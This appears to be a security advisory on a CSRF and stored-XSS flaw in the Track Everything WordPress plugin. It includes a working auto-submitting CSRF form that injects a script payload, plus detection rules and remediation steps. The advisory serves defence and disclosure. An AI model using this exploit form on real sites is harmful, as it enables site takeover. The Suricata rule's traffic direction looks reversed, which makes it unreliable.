CVE-2025-53332

Executive Summary

CVE-2025-53332 is a Cross-Site Request Forgery (CSRF) vulnerability in the Ethoseo Track Everything WordPress plugin (versions up to and including 2.0.1). This flaw allows an attacker to trick an authenticated administrator into performing unintended actions, such as modifying plugin settings or injecting malicious JavaScript. The CSRF vulnerability is compounded by a Stored Cross-Site Scripting (XSS) component, meaning an attacker can inject persistent scripts that execute in the context of other users’ browsers. The CVSS score is 7.1 (High), and no official patch has been released as of the latest analysis. The EPSS score is 0.0%, indicating low exploitation likelihood in the wild, but the risk remains significant for targeted attacks.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users who installed the plugin from the repository are at risk. No known supply chain compromise has been reported, but the lack of a patch increases the risk of malicious actors forking or distributing modified versions.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L
• Base Score: 7.1 (High)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: Required (UI:R) – victim must click a crafted link
• Scope: Changed (S:C) – impact extends beyond the vulnerable component
• Confidentiality Impact: Low (C:L)
• Integrity Impact: Low (I:L)
• Availability Impact: Low (A:L)

Threat Level: High. The combination of CSRF and Stored XSS allows an attacker to perform actions as an admin and inject persistent scripts, potentially leading to full site compromise.

Deep Dive & Mechanics

The vulnerability resides in the Track Everything plugin’s administrative interface. The plugin fails to implement CSRF tokens on sensitive actions (e.g., saving settings, adding tracking codes). An attacker can craft a malicious HTML page or email that, when visited by an authenticated admin, triggers a forged request to the WordPress admin area. This request can modify plugin settings to include malicious JavaScript, which is then stored and executed on every page load (Stored XSS).

Attack Flow:

1. Attacker identifies a target site running Track Everything <= 2.0.1.
2. Attacker crafts a CSRF payload that changes a plugin setting (e.g., tracking code field) to include <script>alert('XSS')</script>.
3. Attacker lures an authenticated admin to visit the malicious page (e.g., via phishing email).
4. The admin’s browser sends the forged request, updating the plugin’s stored data.
5. When other users (or the admin) visit the site, the malicious script executes in their browser.

Vulnerable vs. Patched Code

Since no patch is available, we compare the vulnerable code pattern to a hypothetical secure implementation.

Vulnerable Code (PHP – admin settings save):

// No CSRF check
if ( isset( $_POST['track_everything_settings'] ) ) {
    update_option( 'track_everything_code', $_POST['track_everything_code'] );
}

Patched Code (Hypothetical):

// CSRF check using nonce
if ( isset( $_POST['track_everything_settings'] ) && wp_verify_nonce( $_POST['_wpnonce'], 'track_everything_save' ) ) {
    $sanitized_code = sanitize_text_field( $_POST['track_everything_code'] );
    update_option( 'track_everything_code', $sanitized_code );
}

The vulnerable code lacks wp_verify_nonce() and input sanitization, allowing CSRF and XSS.

Exploitation & Lab Setup

Red Team (Attacker)

Prerequisites:

• Target WordPress site with Track Everything <= 2.0.1.
• An authenticated admin user who can be tricked into clicking a link.

Exploit Steps:

1. Create a malicious HTML file (csrf_exploit.html):

<html>
<body>
<form action="http://target.com/wp-admin/options-general.php?page=track-everything" method="POST">
    <input type="hidden" name="track_everything_settings" value="1">
    <input type="hidden" name="track_everything_code" value="<script>alert('XSS')</script>">
    <input type="submit" value="Click me">
</form>
<script>document.forms[0].submit();</script>
</body>
</html>

2. Host the file on an attacker-controlled server.
3. Send a phishing email to the admin with a link to the malicious page.
4. Once the admin visits, the form auto-submits, injecting the XSS payload.

Note: No public exploit code is available from Exploit-DB.

Blue Team (Defender)

Detection & Prevention:

• Monitor for unusual POST requests to options-general.php with track_everything parameters.
• Implement Content Security Policy (CSP) headers to block inline scripts.
• Use Web Application Firewall (WAF) rules to block requests containing <script> tags in POST parameters.
• Educate admins about phishing attacks targeting plugin settings.

Indicators of Compromise (IOCs)

• Network: POST requests to /wp-admin/options-general.php?page=track-everything with suspicious parameters.
• File: Modified wp_options table entry for track_everything_code containing JavaScript.
• Log: WordPress debug log entries showing unexpected settings changes.
• Behavior: Unexpected pop-ups or redirects on the site.

Detection Engineering

YARA Rule

rule CVE_2025_53332_CSRF_XSS {
    meta:
        description = "Detects CSRF/XSS payloads targeting Track Everything plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-53332"
    strings:
        $csrf_form = "track_everything_settings" ascii wide nocase
        $xss_payload = /<script[^>]*>.*<\/script>/ ascii wide nocase
    condition:
        $csrf_form and $xss_payload
}

Sigma Rule

title: CVE-2025-53332 - Track Everything CSRF/XSS Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP POST requests to Track Everything settings page with potential XSS payloads
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: POST
        c-uri|contains: "/wp-admin/options-general.php"
        cs-uri-query|contains: "page=track-everything"
        cs-uri-query|contains: "track_everything_code"
        cs-uri-query|re: "<script[^>]*>"
    condition: selection
falsepositives:
    - Legitimate admin updates with safe code
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-53332 Track Everything CSRF/XSS Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/options-general.php"; http_uri; content:"page=track-everything"; http_uri; content:"track_everything_code"; http_client_body; pcre:"/<script[^>]*>.*<\/script>/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin until a patch is released.
2. Implement a Web Application Firewall (WAF) rule to block requests containing <script> in POST parameters to the plugin’s settings page.
3. Add CSRF tokens manually by editing the plugin’s PHP files (if you have development resources):
   • Add wp_nonce_field('track_everything_save') in the form.
   • Add wp_verify_nonce($_POST['_wpnonce'], 'track_everything_save') before saving.

Long-term:

• Monitor the plugin’s repository for updates.
• Consider replacing the plugin with an alternative that is actively maintained.
• Enforce strict Content Security Policy (CSP) headers to mitigate XSS impact.

Patch Status: UNKNOWN / UNPATCHED. No official fix is available from the vendor.

Valters IT
Securing Digital Frontiers